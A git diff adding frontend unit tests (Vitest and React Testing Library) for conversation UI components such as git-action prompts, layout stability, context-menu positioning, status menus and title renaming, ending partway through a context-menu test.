index 0000000000000000000000000000000000000000..679208430c9909e726ce768076027b164a40f095
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-git-actions-toggle.test.tsx
@@ -0,0 +1,84 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { ConversationGitActionsToggle } from "#/components/features/conversation/conversation-git-actions-toggle";
+import { useConversationStore } from "#/stores/conversation-store";
+
+const { breakpointIsMobile } = vi.hoisted(() => ({
+ breakpointIsMobile: { value: false },
+}));
+
+vi.mock("#/hooks/use-breakpoint", () => ({
+ useBreakpoint: () => breakpointIsMobile.value,
+}));
+
+vi.mock("#/hooks/use-is-archived-conversation", () => ({
+ useIsArchivedConversation: () => false,
+}));
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+ useActiveConversation: () => ({
+ data: {
+ id: "conv-1",
+ git_provider: "github",
+ },
+ }),
+}));
+
+describe("ConversationGitActionsToggle", () => {
+ beforeEach(() => {
+ vi.clearAllMocks();
+ breakpointIsMobile.value = false;
+ useConversationStore.setState({ messageToSend: null });
+ });
+
+ it("stays visible on smaller screens", () => {
+ breakpointIsMobile.value = true;
+
+ render( );
+
+ expect(
+ screen.getByTestId("conversation-git-actions-toggle"),
+ ).toBeInTheDocument();
+ });
+
+ it("opens a dropdown of git actions and fills the composer with prompts", async () => {
+ const user = userEvent.setup();
+ render( );
+
+ await user.click(screen.getByTestId("conversation-git-actions-toggle"));
+
+ await user.click(
+ await screen.findByTestId("conversation-git-actions-commit"),
+ );
+ expect(useConversationStore.getState().messageToSend?.text).toContain(
+ "commit",
+ );
+
+ await user.click(screen.getByTestId("conversation-git-actions-toggle"));
+ await user.click(screen.getByTestId("conversation-git-actions-pull"));
+ expect(useConversationStore.getState().messageToSend?.text).toContain(
+ "pull",
+ );
+
+ await user.click(screen.getByTestId("conversation-git-actions-toggle"));
+ await user.click(screen.getByTestId("conversation-git-actions-push"));
+ expect(useConversationStore.getState().messageToSend?.text).toContain(
+ "push",
+ );
+
+ await user.click(screen.getByTestId("conversation-git-actions-toggle"));
+ await user.click(screen.getByTestId("conversation-git-actions-create-pr"));
+ expect(useConversationStore.getState().messageToSend?.text).toContain(
+ "pull request",
+ );
+
+ await user.click(screen.getByTestId("conversation-git-actions-toggle"));
+ await user.click(
+ screen.getByTestId("conversation-git-actions-create-new-branch"),
+ );
+ expect(useConversationStore.getState().messageToSend?.text).toContain(
+ "new branch",
+ );
+ });
+});
diff --git a/__tests__/components/features/conversation/conversation-loading.test.tsx b/__tests__/components/features/conversation/conversation-loading.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..180c501a4ed7ae631b0ce576e7da5abc04c7bd9c
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-loading.test.tsx
@@ -0,0 +1,15 @@
+import { render, screen } from "@testing-library/react";
+import { describe, it, expect } from "vitest";
+import { ConversationLoading } from "#/components/features/conversation/conversation-loading";
+
+// react-i18next is mocked globally in vitest.setup.ts (t returns the key), so
+// the rendered text is the I18nKey itself (HOME$LOADING).
+describe("ConversationLoading", () => {
+ it("renders the loading message", () => {
+ // Arrange & Act
+ render( );
+
+ // Assert — the loading status text is surfaced to the user
+ expect(screen.getByText("HOME$LOADING")).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/features/conversation/conversation-main.test.tsx b/__tests__/components/features/conversation/conversation-main.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..966905fdb795ce0b8092434fef30b99bd4fff7c1
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-main.test.tsx
@@ -0,0 +1,157 @@
+import { render, screen } from "@testing-library/react";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { SidebarMobileNavProvider } from "#/components/features/sidebar/sidebar-mobile-nav-context";
+
+// Mutable mock state for controlling breakpoint
+let mockIsMobile = false;
+let mockIsRightPanelShown = false;
+let mockLeftWidth = 50;
+
+// Track ChatInterface unmount via vi.fn()
+const chatInterfaceUnmount = vi.fn();
+
+vi.mock("#/hooks/use-breakpoint", () => ({
+ useBreakpoint: () => mockIsMobile,
+ SIDEBAR_RAIL_COLLAPSE_MAX_WIDTH: 767,
+}));
+
+vi.mock("#/hooks/use-resizable-panels", () => ({
+ useResizablePanels: () => ({
+ leftWidth: mockLeftWidth,
+ rightWidth: 100 - mockLeftWidth,
+ isDragging: false,
+ containerRef: { current: null },
+ handleMouseDown: vi.fn(),
+ }),
+}));
+
+vi.mock("#/stores/conversation-store", () => ({
+ useConversationStore: () => ({
+ isRightPanelShown: mockIsRightPanelShown,
+ }),
+}));
+
+// Mock ChatInterface with useEffect to track mount/unmount lifecycle
+vi.mock("#/components/features/chat/chat-interface", () => {
+ // eslint-disable-next-line @typescript-eslint/no-require-imports
+ const React = require("react");
+ return {
+ ChatInterface: () => {
+ React.useEffect(() => {
+ return () => chatInterfaceUnmount();
+ }, []);
+ return Chat Interface
;
+ },
+ };
+});
+
+vi.mock(
+ "#/components/features/conversation/conversation-tabs/conversation-tab-content/conversation-tab-content",
+ () => ({
+ ConversationTabContent: () =>
,
+ }),
+);
+
+// ConversationMain now renders the conversation name and tabs inline as the
+// pane headers; both reach into route/store state we don't set up here, so
+// stub them out for layout-stability tests.
+vi.mock(
+ "#/components/features/conversation/conversation-name-with-status",
+ () => ({
+ ConversationNameWithStatus: () => (
+
+ ),
+ }),
+);
+
+vi.mock(
+ "#/components/features/conversation/conversation-tabs/conversation-tabs",
+ () => ({
+ ConversationTabs: () =>
,
+ }),
+);
+
+import { ConversationMain } from "#/components/features/conversation/conversation-main/conversation-main";
+
+function renderConversationMain() {
+ return render(
+
+
+ ,
+ );
+}
+
+describe("ConversationMain - Layout Transition Stability", () => {
+ beforeEach(() => {
+ mockIsMobile = false;
+ mockIsRightPanelShown = false;
+ mockLeftWidth = 50;
+ chatInterfaceUnmount.mockClear();
+ });
+
+ it("renders ChatInterface at desktop width", () => {
+ mockIsMobile = false;
+ renderConversationMain();
+ expect(screen.getByTestId("chat-interface")).toBeInTheDocument();
+ });
+
+ it("renders ChatInterface at mobile width", () => {
+ mockIsMobile = true;
+ renderConversationMain();
+ expect(screen.getByTestId("chat-interface")).toBeInTheDocument();
+ });
+
+ it("does not unmount ChatInterface when crossing from desktop to mobile", () => {
+ mockIsMobile = false;
+ const { rerender } = renderConversationMain();
+ expect(chatInterfaceUnmount).not.toHaveBeenCalled();
+
+ // Cross the breakpoint to mobile
+ mockIsMobile = true;
+ rerender(
+
+
+ ,
+ );
+
+ // ChatInterface must NOT have been unmounted and remounted
+ expect(chatInterfaceUnmount).not.toHaveBeenCalled();
+ expect(screen.getByTestId("chat-interface")).toBeInTheDocument();
+ });
+
+ it("does not unmount ChatInterface when crossing from mobile to desktop", () => {
+ mockIsMobile = true;
+ const { rerender } = renderConversationMain();
+ expect(chatInterfaceUnmount).not.toHaveBeenCalled();
+
+ // Cross the breakpoint to desktop
+ mockIsMobile = false;
+ rerender(
+
+
+ ,
+ );
+
+ // ChatInterface must NOT have been unmounted and remounted
+ expect(chatInterfaceUnmount).not.toHaveBeenCalled();
+ expect(screen.getByTestId("chat-interface")).toBeInTheDocument();
+ });
+
+ it("survives rapid back-and-forth resize without unmounting ChatInterface", () => {
+ mockIsMobile = false;
+ const { rerender } = renderConversationMain();
+
+ // Simulate rapid resize back and forth across the breakpoint
+ for (const mobile of [true, false, true, false, true]) {
+ mockIsMobile = mobile;
+ rerender(
+
+
+ ,
+ );
+ }
+
+ expect(chatInterfaceUnmount).not.toHaveBeenCalled();
+ expect(screen.getByTestId("chat-interface")).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/features/conversation/conversation-mobile-panel-page.test.tsx b/__tests__/components/features/conversation/conversation-mobile-panel-page.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..b5220b2ab06424e922c89c262d9a1cab5a9cd36b
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-mobile-panel-page.test.tsx
@@ -0,0 +1,32 @@
+import { render, screen, fireEvent } from "@testing-library/react";
+import { describe, it, expect, vi } from "vitest";
+import { useConversationStore } from "#/stores/conversation-store";
+
+// Stub the heavy tab subtree so the test focuses on this page's own behavior.
+vi.mock(
+ "#/components/features/conversation/conversation-tabs/conversation-tabs",
+ () => ({ ConversationTabs: () =>
}),
+);
+vi.mock(
+ "#/components/features/conversation/conversation-tabs/conversation-tab-content/conversation-tab-content",
+ () => ({ ConversationTabContent: () =>
}),
+);
+
+import { ConversationMobilePanelPage } from "#/components/features/conversation/conversation-main/conversation-mobile-panel-page";
+
+describe("ConversationMobilePanelPage", () => {
+ it("opens the right panel on mount", () => {
+ render( );
+
+ expect(useConversationStore.getState().isRightPanelShown).toBe(true);
+ });
+
+ it("calls onNavigateBack when the back button is clicked", () => {
+ const onNavigateBack = vi.fn();
+ render( );
+
+ fireEvent.click(screen.getByTestId("conversation-mobile-panel-back"));
+
+ expect(onNavigateBack).toHaveBeenCalledTimes(1);
+ });
+});
diff --git a/__tests__/components/features/conversation/conversation-name-context-menu.test.tsx b/__tests__/components/features/conversation/conversation-name-context-menu.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..6687d11578141cf72a073fba77b20d171181233d
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-name-context-menu.test.tsx
@@ -0,0 +1,187 @@
+import React from "react";
+import { screen } from "@testing-library/react";
+import { renderToStaticMarkup } from "react-dom/server";
+import { afterEach, describe, expect, it, vi } from "vitest";
+
+import { renderWithProviders } from "test-utils";
+import { ConversationNameContextMenu } from "#/components/features/conversation/conversation-name-context-menu";
+
+vi.mock("#/hooks/use-breakpoint", () => ({
+ useBreakpoint: () => false,
+}));
+
+vi.mock("#/contexts/active-backend-context", () => ({
+ useActiveBackend: () => ({
+ backend: {
+ id: "bundled",
+ name: "Bundled",
+ host: "http://localhost:3000",
+ apiKey: "",
+ kind: "local",
+ },
+ orgId: null,
+ }),
+}));
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+ useActiveConversation: () => ({
+ data: {
+ public: false,
+ },
+ }),
+}));
+
+function createAnchor(rect: Partial = {}) {
+ const anchor = document.createElement("button");
+ anchor.dataset.testAnchor = "true";
+ Object.defineProperty(anchor, "getBoundingClientRect", {
+ value: () => ({
+ x: 12,
+ y: 20,
+ top: 20,
+ right: 112,
+ bottom: 48,
+ left: 12,
+ width: 100,
+ height: 28,
+ toJSON: () => ({}),
+ ...rect,
+ }),
+ });
+ document.body.appendChild(anchor);
+ return anchor;
+}
+
+// The `style.left/top/bottom` assertions in this file verify the numeric
+// output of the portal positioning math (anchor rect → menu coordinates).
+// They are functional logic checks, not visual styling assertions.
+describe("ConversationNameContextMenu portal rendering", () => {
+ afterEach(() => {
+ document
+ .querySelectorAll('[data-test-anchor="true"]')
+ .forEach((anchor) => anchor.remove());
+ vi.restoreAllMocks();
+ });
+
+ it("renders inline when no anchor ref is provided", () => {
+ const { container } = renderWithProviders(
+ ,
+ );
+
+ expect(
+ container.contains(screen.getByTestId("conversation-name-context-menu")),
+ ).toBe(true);
+ });
+
+ it("renders in a portal and positions below the anchor when provided", () => {
+ const anchor = createAnchor();
+ const { container } = renderWithProviders(
+ ,
+ );
+
+ const menu = screen.getByTestId("conversation-name-context-menu");
+ expect(container.contains(menu)).toBe(false);
+
+ const wrapper = menu.parentElement as HTMLDivElement;
+ expect(wrapper.style.left).toBe("12px");
+ expect(wrapper.style.top).toBe("56px");
+ });
+
+ it("positions above the anchor for top-aligned menus", () => {
+ const anchor = createAnchor({ top: 120, bottom: 148 });
+ Object.defineProperty(window, "innerHeight", {
+ configurable: true,
+ value: 800,
+ });
+
+ renderWithProviders(
+ ,
+ );
+
+ const wrapper = screen.getByTestId("conversation-name-context-menu")
+ .parentElement as HTMLDivElement;
+ expect(wrapper.style.bottom).toBe("688px");
+ });
+
+ it("repositions when the anchored element changes between renders", () => {
+ const firstAnchor = createAnchor({ left: 12, top: 20, bottom: 48 });
+ const secondAnchor = createAnchor({ left: 64, top: 80, bottom: 112 });
+ const { rerender } = renderWithProviders(
+ ,
+ );
+
+ rerender(
+ ,
+ );
+
+ const wrapper = screen.getByTestId("conversation-name-context-menu")
+ .parentElement as HTMLDivElement;
+ expect(wrapper.style.left).toBe("64px");
+ expect(wrapper.style.top).toBe("120px");
+ });
+
+ it("registers and cleans up resize/scroll listeners for anchored menus", () => {
+ const addEventListenerSpy = vi.spyOn(window, "addEventListener");
+ const removeEventListenerSpy = vi.spyOn(window, "removeEventListener");
+ const anchor = createAnchor();
+
+ const { unmount } = renderWithProviders(
+ ,
+ );
+
+ expect(addEventListenerSpy).toHaveBeenCalledWith(
+ "resize",
+ expect.any(Function),
+ );
+ expect(addEventListenerSpy).toHaveBeenCalledWith(
+ "scroll",
+ expect.any(Function),
+ true,
+ );
+
+ unmount();
+
+ expect(removeEventListenerSpy).toHaveBeenCalledWith(
+ "resize",
+ expect.any(Function),
+ );
+ expect(removeEventListenerSpy).toHaveBeenCalledWith(
+ "scroll",
+ expect.any(Function),
+ true,
+ );
+ });
+
+ it("returns null during static rendering before portal coordinates exist", () => {
+ const html = renderToStaticMarkup(
+ ,
+ );
+
+ expect(html).toBe("");
+ });
+});
diff --git a/__tests__/components/features/conversation/conversation-name-with-status.test.tsx b/__tests__/components/features/conversation/conversation-name-with-status.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..00f2b9ea4d0df9af5647353a47b34134085c7b5b
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-name-with-status.test.tsx
@@ -0,0 +1,171 @@
+import { fireEvent, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { renderWithProviders } from "test-utils";
+import { ConversationNameWithStatus } from "#/components/features/conversation/conversation-name-with-status";
+import { AgentState } from "#/types/agent-state";
+import { ExecutionStatus } from "#/types/agent-server/core/base/common";
+import { useAgentState } from "#/hooks/use-agent-state";
+
+vi.mock("#/hooks/use-agent-state", () => ({
+ useAgentState: vi.fn(),
+}));
+
+vi.mock("#/hooks/query/use-task-polling", () => ({
+ useTaskPolling: () => ({
+ isTask: false,
+ taskStatus: null,
+ }),
+}));
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+ useActiveConversation: () => ({
+ data: {
+ id: "test-conversation-id",
+ title: "Test conversation",
+ execution_status: ExecutionStatus.RUNNING,
+ },
+ }),
+}));
+
+vi.mock("#/hooks/use-conversation-id", () => ({
+ useConversationId: () => ({ conversationId: "test-conversation-id" }),
+ useOptionalConversationId: () => ({
+ conversationId: "test-conversation-id",
+ }),
+}));
+
+vi.mock("#/hooks/mutation/use-unified-stop-conversation", () => ({
+ useUnifiedPauseConversation: () => ({ mutate: vi.fn() }),
+}));
+
+vi.mock("#/hooks/mutation/use-unified-start-conversation", () => ({
+ useUnifiedResumeConversation: () => ({ mutate: vi.fn() }),
+}));
+
+vi.mock("#/hooks/use-user-providers", () => ({
+ useUserProviders: () => ({ providers: [] }),
+}));
+
+vi.mock("#/components/features/conversation/conversation-name", () => ({
+ ConversationName: () =>
,
+}));
+
+vi.mock("#/components/features/conversation/right-panel-toggle", () => ({
+ RightPanelToggle: () => null,
+}));
+
+vi.mock("react-i18next", async () => {
+ const actual = await vi.importActual("react-i18next");
+ return {
+ ...actual,
+ useTranslation: () => ({
+ t: (key: string) => key,
+ i18n: { changeLanguage: () => Promise.resolve() },
+ }),
+ };
+});
+
+describe("ConversationNameWithStatus", () => {
+ beforeEach(() => {
+ vi.mocked(useAgentState).mockReturnValue({
+ curAgentState: AgentState.RUNNING,
+ });
+ });
+
+ afterEach(() => {
+ vi.unstubAllGlobals();
+ });
+
+ it("opens the server status menu on click and closes on outside click", async () => {
+ const user = userEvent.setup();
+
+ renderWithProviders(
+ ,
+ );
+
+ expect(
+ screen.queryByTestId("server-status-context-menu"),
+ ).not.toBeInTheDocument();
+
+ // fireEvent click avoids a preceding mouse pointerenter (hover-open), which
+ // models the touch/toggle path this assertion covers.
+ fireEvent.click(screen.getByTestId("server-status-menu-trigger"));
+
+ expect(
+ screen.getByTestId("server-status-context-menu"),
+ ).toBeInTheDocument();
+
+ await user.click(screen.getByTestId("outside"));
+
+ expect(
+ screen.queryByTestId("server-status-context-menu"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("toggles the server status menu closed when the trigger is clicked again", () => {
+ renderWithProviders( );
+
+ const trigger = screen.getByTestId("server-status-menu-trigger");
+ fireEvent.click(trigger);
+ expect(
+ screen.getByTestId("server-status-context-menu"),
+ ).toBeInTheDocument();
+
+ fireEvent.click(trigger);
+ expect(
+ screen.queryByTestId("server-status-context-menu"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("opens on mouse pointerenter and dismisses on a following mouse click", () => {
+ renderWithProviders( );
+
+ const trigger = screen.getByTestId("server-status-menu-trigger");
+ const hoverTarget = trigger.parentElement;
+ expect(hoverTarget).not.toBeNull();
+
+ // pointerover is the event React delegates for onPointerEnter synthesis,
+ // so it reaches the handler reliably across jsdom setups.
+ fireEvent.pointerOver(hoverTarget!, { pointerType: "mouse" });
+ expect(
+ screen.getByTestId("server-status-context-menu"),
+ ).toBeInTheDocument();
+
+ fireEvent.click(trigger);
+ expect(
+ screen.queryByTestId("server-status-context-menu"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("keeps click-toggle open after touch/compatibility hover events on fine-hover hardware", () => {
+ // Device-primary pointer reports fine hover, but the interaction is touch.
+ vi.stubGlobal(
+ "matchMedia",
+ vi.fn().mockReturnValue({
+ matches: true,
+ media: "(hover: hover) and (pointer: fine)",
+ addEventListener: vi.fn(),
+ removeEventListener: vi.fn(),
+ }),
+ );
+
+ renderWithProviders( );
+
+ const trigger = screen.getByTestId("server-status-menu-trigger");
+ const hoverTarget = trigger.parentElement;
+ expect(hoverTarget).not.toBeNull();
+
+ // Compatibility mouseenter must not open-then-close against the tap.
+ fireEvent.mouseEnter(hoverTarget!);
+ fireEvent.pointerOver(hoverTarget!, { pointerType: "touch" });
+ fireEvent.click(trigger);
+
+ expect(
+ screen.getByTestId("server-status-context-menu"),
+ ).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/features/conversation/conversation-name.test.tsx b/__tests__/components/features/conversation/conversation-name.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..bb2ca2fdaabedad10f1585d8960d41f9bf7b8c4c
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-name.test.tsx
@@ -0,0 +1,706 @@
+import { screen, within, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import {
+ afterEach,
+ beforeAll,
+ beforeEach,
+ describe,
+ expect,
+ it,
+ vi,
+} from "vitest";
+import { renderWithProviders } from "test-utils";
+import { ConversationName } from "#/components/features/conversation/conversation-name";
+import { ConversationNameContextMenu } from "#/components/features/conversation/conversation-name-context-menu";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import type { Backend } from "#/api/backend-registry/types";
+import type { Conversation } from "#/api/open-hands.types";
+
+const localBackend: Backend = {
+ id: "bundled",
+ name: "Bundled",
+ host: "http://localhost:3000",
+ apiKey: "",
+ kind: "local",
+};
+
+const cloudBackend: Backend = {
+ id: "prod",
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "bearer-token",
+ kind: "cloud",
+};
+
+// Hoisted mocks for controllable return values
+const {
+ mockMutate,
+ mockDisplaySuccessToast,
+ useActiveConversationMock,
+ useConfigMock,
+ useActiveBackendMock,
+} = vi.hoisted(() => ({
+ mockMutate: vi.fn(),
+ mockDisplaySuccessToast: vi.fn(),
+ useActiveConversationMock: vi.fn(() => ({
+ data: {
+ conversation_id: "test-conversation-id",
+ title: "Test Conversation",
+ status: "RUNNING",
+ },
+ })),
+ useConfigMock: vi.fn(() => ({
+ data: {},
+ })),
+ useActiveBackendMock: vi.fn(),
+}));
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+ useActiveConversation: () => useActiveConversationMock(),
+}));
+
+vi.mock("#/hooks/query/use-config", () => ({
+ useConfig: () => useConfigMock(),
+}));
+
+vi.mock("#/hooks/mutation/use-update-conversation", () => ({
+ useUpdateConversation: () => ({
+ mutate: mockMutate,
+ }),
+}));
+
+vi.mock("#/contexts/active-backend-context", () => ({
+ useActiveBackend: () => useActiveBackendMock(),
+}));
+
+vi.mock("#/utils/custom-toast-handlers", () => ({
+ displaySuccessToast: mockDisplaySuccessToast,
+ displayErrorToast: vi.fn(),
+}));
+
+// Mock react-i18next
+vi.mock("react-i18next", async () => {
+ const actual = await vi.importActual("react-i18next");
+ return {
+ ...actual,
+ useTranslation: () => ({
+ t: (key: string) => {
+ const translations: Record = {
+ CONVERSATION$TITLE_UPDATED: "Conversation title updated",
+ BUTTON$RENAME: "Rename",
+ BUTTON$EXPORT_CONVERSATION: "Export Conversation",
+ BUTTON$EXPORT_TRANSCRIPT: "Export…",
+ BUTTON$DOWNLOAD_CONVERSATION_DATA: "Download conversation data",
+ BUTTON$DOWNLOAD_VIA_VSCODE: "Download via VS Code",
+ BUTTON$SHOW_AGENT_TOOLS_AND_METADATA: "Show Agent Tools",
+ CONVERSATION$SHOW_SKILLS: "Show Skills",
+ BUTTON$DISPLAY_COST: "Display Usage and Cost",
+ COMMON$CLOSE_CONVERSATION_STOP_RUNTIME:
+ "Stop Conversation (Runtime)",
+ COMMON$STOP_CONVERSATION: "Stop Conversation",
+ COMMON$DELETE_CONVERSATION: "Delete Conversation",
+ CONVERSATION$SHARE_PUBLICLY: "Share Publicly",
+ CONVERSATION$LINK_COPIED: "Link copied to clipboard",
+ BUTTON$COPY_TO_CLIPBOARD: "Copy to Clipboard",
+ BUTTON$OPEN_IN_NEW_TAB: "Open in New Tab",
+ };
+ return translations[key] || key;
+ },
+ i18n: {
+ changeLanguage: () => new Promise(() => {}),
+ },
+ }),
+ };
+});
+
+// Helper function to render ConversationName with navigation context
+const renderConversationNameWithRouter = () => {
+ return renderWithProviders( , {
+ navigation: {
+ currentPath: "/conversations/test-conversation-id",
+ conversationId: "test-conversation-id",
+ },
+ });
+};
+
+describe("ConversationName", () => {
+ beforeAll(() => {
+ vi.stubGlobal("window", {
+ open: vi.fn(),
+ addEventListener: vi.fn(),
+ removeEventListener: vi.fn(),
+ location: {
+ origin: "http://localhost:3000",
+ },
+ });
+ });
+
+ beforeEach(() => {
+ useActiveBackendMock.mockReturnValue({
+ backend: localBackend,
+ orgId: null,
+ });
+ });
+
+ afterEach(() => {
+ vi.clearAllMocks();
+ });
+
+ it("should render the conversation name in view mode", () => {
+ renderConversationNameWithRouter();
+
+ const container = screen.getByTestId("conversation-name");
+ const titleElement = within(container).getByTestId(
+ "conversation-name-title",
+ );
+
+ expect(container).toBeInTheDocument();
+ expect(titleElement).toBeInTheDocument();
+ expect(titleElement).toHaveTextContent("Test Conversation");
+ });
+
+ it("should switch to edit mode on double click", async () => {
+ const user = userEvent.setup();
+ renderConversationNameWithRouter();
+
+ const titleElement = screen.getByTestId("conversation-name-title");
+
+ // Initially should be in view mode
+ expect(titleElement).toBeInTheDocument();
+ expect(
+ screen.queryByTestId("conversation-name-input"),
+ ).not.toBeInTheDocument();
+
+ // Double click to enter edit mode
+ await user.dblClick(titleElement);
+
+ // Should now be in edit mode
+ expect(
+ screen.queryByTestId("conversation-name-title"),
+ ).not.toBeInTheDocument();
+ const inputElement = screen.getByTestId("conversation-name-input");
+ expect(inputElement).toBeInTheDocument();
+ expect(inputElement).toHaveValue("Test Conversation");
+ });
+
+ it("should update conversation title when input loses focus with valid value", async () => {
+ const user = userEvent.setup();
+ renderConversationNameWithRouter();
+
+ const titleElement = screen.getByTestId("conversation-name-title");
+ await user.dblClick(titleElement);
+
+ const inputElement = screen.getByTestId("conversation-name-input");
+ await user.clear(inputElement);
+ await user.type(inputElement, "New Conversation Title");
+ await user.tab(); // Trigger blur event
+
+ // Verify that the update function was called
+ expect(mockMutate).toHaveBeenCalledWith(
+ {
+ conversationId: "test-conversation-id",
+ newTitle: "New Conversation Title",
+ },
+ expect.any(Object),
+ );
+ });
+
+ it("should not update conversation when title is unchanged", async () => {
+ const user = userEvent.setup();
+ renderConversationNameWithRouter();
+
+ const titleElement = screen.getByTestId("conversation-name-title");
+ await user.dblClick(titleElement);
+
+ const inputElement = screen.getByTestId("conversation-name-input");
+ // Keep the same title
+ await user.tab();
+
+ // Should still have the original title
+ expect(inputElement).toHaveValue("Test Conversation");
+ });
+
+ it("should not call the API if user attempts to save an unchanged title", async () => {
+ const user = userEvent.setup();
+ renderConversationNameWithRouter();
+
+ const titleElement = screen.getByTestId("conversation-name-title");
+ await user.dblClick(titleElement);
+
+ const inputElement = screen.getByTestId("conversation-name-input");
+
+ // Verify the input has the original title
+ expect(inputElement).toHaveValue("Test Conversation");
+
+ // Trigger blur without changing the title
+ await user.tab();
+
+ // Verify that the API was NOT called
+ expect(mockMutate).not.toHaveBeenCalled();
+ });
+
+ it("should reset input value when title is empty and blur", async () => {
+ const user = userEvent.setup();
+ renderConversationNameWithRouter();
+
+ const titleElement = screen.getByTestId("conversation-name-title");
+ await user.dblClick(titleElement);
+
+ const inputElement = screen.getByTestId("conversation-name-input");
+ await user.clear(inputElement);
+ await user.tab();
+
+ // Should reset to original title
+ expect(inputElement).toHaveValue("Test Conversation");
+ });
+
+ it("should trim whitespace from input value", async () => {
+ const user = userEvent.setup();
+ renderConversationNameWithRouter();
+
+ const titleElement = screen.getByTestId("conversation-name-title");
+ await user.dblClick(titleElement);
+
+ const inputElement = screen.getByTestId("conversation-name-input");
+ await user.clear(inputElement);
+ await user.type(inputElement, " Trimmed Title ");
+ await user.tab();
+
+ // Should call mutation with trimmed value
+ expect(mockMutate).toHaveBeenCalledWith(
+ {
+ conversationId: "test-conversation-id",
+ newTitle: "Trimmed Title",
+ },
+ expect.any(Object),
+ );
+ });
+
+ it("should handle Enter key to save changes", async () => {
+ const user = userEvent.setup();
+ renderConversationNameWithRouter();
+
+ const titleElement = screen.getByTestId("conversation-name-title");
+ await user.dblClick(titleElement);
+
+ const inputElement = screen.getByTestId("conversation-name-input");
+ await user.clear(inputElement);
+ await user.type(inputElement, "New Title");
+ await user.keyboard("{Enter}");
+
+ // Should have the new title
+ expect(inputElement).toHaveValue("New Title");
+ });
+
+ it("should prevent event propagation when clicking input in edit mode", async () => {
+ const user = userEvent.setup();
+ renderConversationNameWithRouter();
+
+ const titleElement = screen.getByTestId("conversation-name-title");
+ await user.dblClick(titleElement);
+
+ const inputElement = screen.getByTestId("conversation-name-input");
+ const clickEvent = new MouseEvent("click", { bubbles: true });
+ const preventDefaultSpy = vi.spyOn(clickEvent, "preventDefault");
+ const stopPropagationSpy = vi.spyOn(clickEvent, "stopPropagation");
+
+ inputElement.dispatchEvent(clickEvent);
+
+ expect(preventDefaultSpy).toHaveBeenCalled();
+ expect(stopPropagationSpy).toHaveBeenCalled();
+ });
+
+ it("should return to view mode after blur", async () => {
+ const user = userEvent.setup();
+ renderConversationNameWithRouter();
+
+ const titleElement = screen.getByTestId("conversation-name-title");
+ await user.dblClick(titleElement);
+
+ // Should be in edit mode
+ expect(screen.getByTestId("conversation-name-input")).toBeInTheDocument();
+
+ await user.tab();
+
+ // Should be back in view mode
+ expect(screen.getByTestId("conversation-name-title")).toBeInTheDocument();
+ expect(
+ screen.queryByTestId("conversation-name-input"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("should not render the llm model in the title bar", () => {
+ useActiveConversationMock.mockReturnValue({
+ data: {
+ conversation_id: "test-conversation-id",
+ title: "Test Conversation",
+ status: "RUNNING",
+ llm_model: "openai/gpt-4o",
+ } as Conversation,
+ });
+
+ renderConversationNameWithRouter();
+
+ expect(
+ screen.queryByTestId("conversation-name-llm-model"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("should focus input when entering edit mode", async () => {
+ const user = userEvent.setup();
+ renderConversationNameWithRouter();
+
+ const titleElement = screen.getByTestId("conversation-name-title");
+ await user.dblClick(titleElement);
+
+ const inputElement = screen.getByTestId("conversation-name-input");
+ expect(inputElement).toHaveFocus();
+ });
+});
+
+describe("ConversationNameContextMenu", () => {
+ const defaultProps = {
+ onClose: vi.fn(),
+ };
+
+ beforeEach(() => {
+ useActiveBackendMock.mockReturnValue({
+ backend: localBackend,
+ orgId: null,
+ });
+ });
+
+ afterEach(() => {
+ vi.clearAllMocks();
+ });
+
+ it("should render all menu options when all handlers are provided", () => {
+ const handlers = {
+ onRename: vi.fn(),
+ onDelete: vi.fn(),
+ onStop: vi.fn(),
+ onDisplayCost: vi.fn(),
+ onShowAgentTools: vi.fn(),
+ onShowSkills: vi.fn(),
+ onDownloadConversation: vi.fn(),
+ };
+
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByTestId("rename-button")).toBeInTheDocument();
+ expect(screen.getByTestId("delete-button")).toBeInTheDocument();
+ expect(screen.getByTestId("stop-button")).toBeInTheDocument();
+ expect(screen.getByTestId("display-cost-button")).toBeInTheDocument();
+ expect(screen.getByTestId("show-agent-tools-button")).toBeInTheDocument();
+ expect(screen.getByTestId("show-skills-button")).toBeInTheDocument();
+ expect(
+ screen.getByTestId("download-trajectory-button"),
+ ).toBeInTheDocument();
+ });
+
+ it("should not render menu options when handlers are not provided", () => {
+ renderWithProviders( );
+
+ expect(screen.queryByTestId("rename-button")).not.toBeInTheDocument();
+ expect(screen.queryByTestId("delete-button")).not.toBeInTheDocument();
+ expect(screen.queryByTestId("stop-button")).not.toBeInTheDocument();
+ expect(screen.queryByTestId("display-cost-button")).not.toBeInTheDocument();
+ expect(
+ screen.queryByTestId("show-agent-tools-button"),
+ ).not.toBeInTheDocument();
